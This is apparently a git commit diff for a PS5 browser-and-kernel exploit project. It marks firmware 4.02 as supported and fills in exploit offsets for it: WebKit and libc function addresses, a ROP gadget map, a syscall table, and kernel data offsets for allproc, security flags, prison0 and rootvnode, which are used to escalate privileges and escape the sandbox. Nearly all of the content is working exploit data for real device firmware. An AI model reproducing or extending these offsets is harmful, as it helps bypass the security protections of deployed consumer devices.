wip:

- add full 4.02 support

Author: CC

README.md

@@ -13,8 +13,8 @@ Exploit should now support the following firmwares:
 - 3.10 (partially)
 - 3.20
 - 3.21
-- 4.00 (potentially partially)
-- 4.02 (potentially partially)
+- 4.00 (todo)
+- 4.02
 - 4.03
 - 4.50
 - 4.51

document/en/ps5/offsets/4.02.js

@@ -1,20 +1,19 @@
-const OFFSET_wk_vtable_first_element     = 0x00D04580; //check
-const OFFSET_wk_memset_import            = 0x028F9D38; //check
-const OFFSET_wk___stack_chk_guard_import = 0x028F9A18; //check
+const OFFSET_wk_vtable_first_element     = 0x00D04580;
+const OFFSET_wk_memset_import            = 0x028F9D38;
+const OFFSET_wk___stack_chk_guard_import = 0x028F9A18;
 
-const OFFSET_lk___stack_chk_guard        = 0x00069190; //check
-const OFFSET_lk_pthread_create_name_np   = 0x00001B60; //check
-const OFFSET_lk_pthread_join             = 0x0002FAD0; //check
-const OFFSET_lk_pthread_exit             = 0x00020A80; //check
-const OFFSET_lk__thread_list             = 0x000601A8; //check
+const OFFSET_lk___stack_chk_guard        = 0x00069190;
+const OFFSET_lk_pthread_create_name_np   = 0x00001B60;
+const OFFSET_lk_pthread_join             = 0x0002FAD0;
+const OFFSET_lk_pthread_exit             = 0x00020A80;
+const OFFSET_lk__thread_list             = 0x000601A8;
 
-const OFFSET_lc_memset                   = 0x000148F0; //check
-const OFFSET_lc_setjmp                   = 0x0005E9B0; //check
-const OFFSET_lc_longjmp                  = 0x0005EA00; //check
+const OFFSET_lc_memset                   = 0x000148F0;
+const OFFSET_lc_setjmp                   = 0x0005E9B0;
+const OFFSET_lc_longjmp                  = 0x0005EA00;
 
-const OFFSET_WORKER_STACK_OFFSET         = 0x0007FB88; //check
+const OFFSET_WORKER_STACK_OFFSET         = 0x0007FB88;
 
-//check
 let wk_gadgetmap = {
     "ret"    : 0x00000042,
     "pop rdi": 0x00043B7C,
@@ -45,7 +44,6 @@ let wk_gadgetmap = {
     "inc dword [rax]": 0x017629AF,
 };
 
-//check
 let syscall_map = {
     0x001: 0x34230, // sys_exit
     0x002: 0x351E0, // sys_fork
@@ -376,12 +374,12 @@ let syscall_map = {
     0x2D2: 0x32E00, // sys_workspace_ctrl
 };
 
-const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD    = 0x0; //check
-const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE  = 0x0; //check
-const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE  = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_ALLPROC       = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_QA_FLAGS      = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS  = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_PRISON0       = 0x0; //check
-const OFFSET_KERNEL_DATA_BASE_ROOTVNODE     = 0x0; //check
+const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD    = 0x8D2F;
+const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE  = 0x318D2F;
+const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE  = 0xF18D2F;
+const OFFSET_KERNEL_DATA_BASE_ALLPROC       = 0x27EDCB8;
+const OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS = 0x6505474;
+const OFFSET_KERNEL_DATA_BASE_QA_FLAGS      = 0x6505498;
+const OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS  = 0x6505500;
+const OFFSET_KERNEL_DATA_BASE_PRISON0       = 0x1D34D00;
+const OFFSET_KERNEL_DATA_BASE_ROOTVNODE     = 0x66E64C0;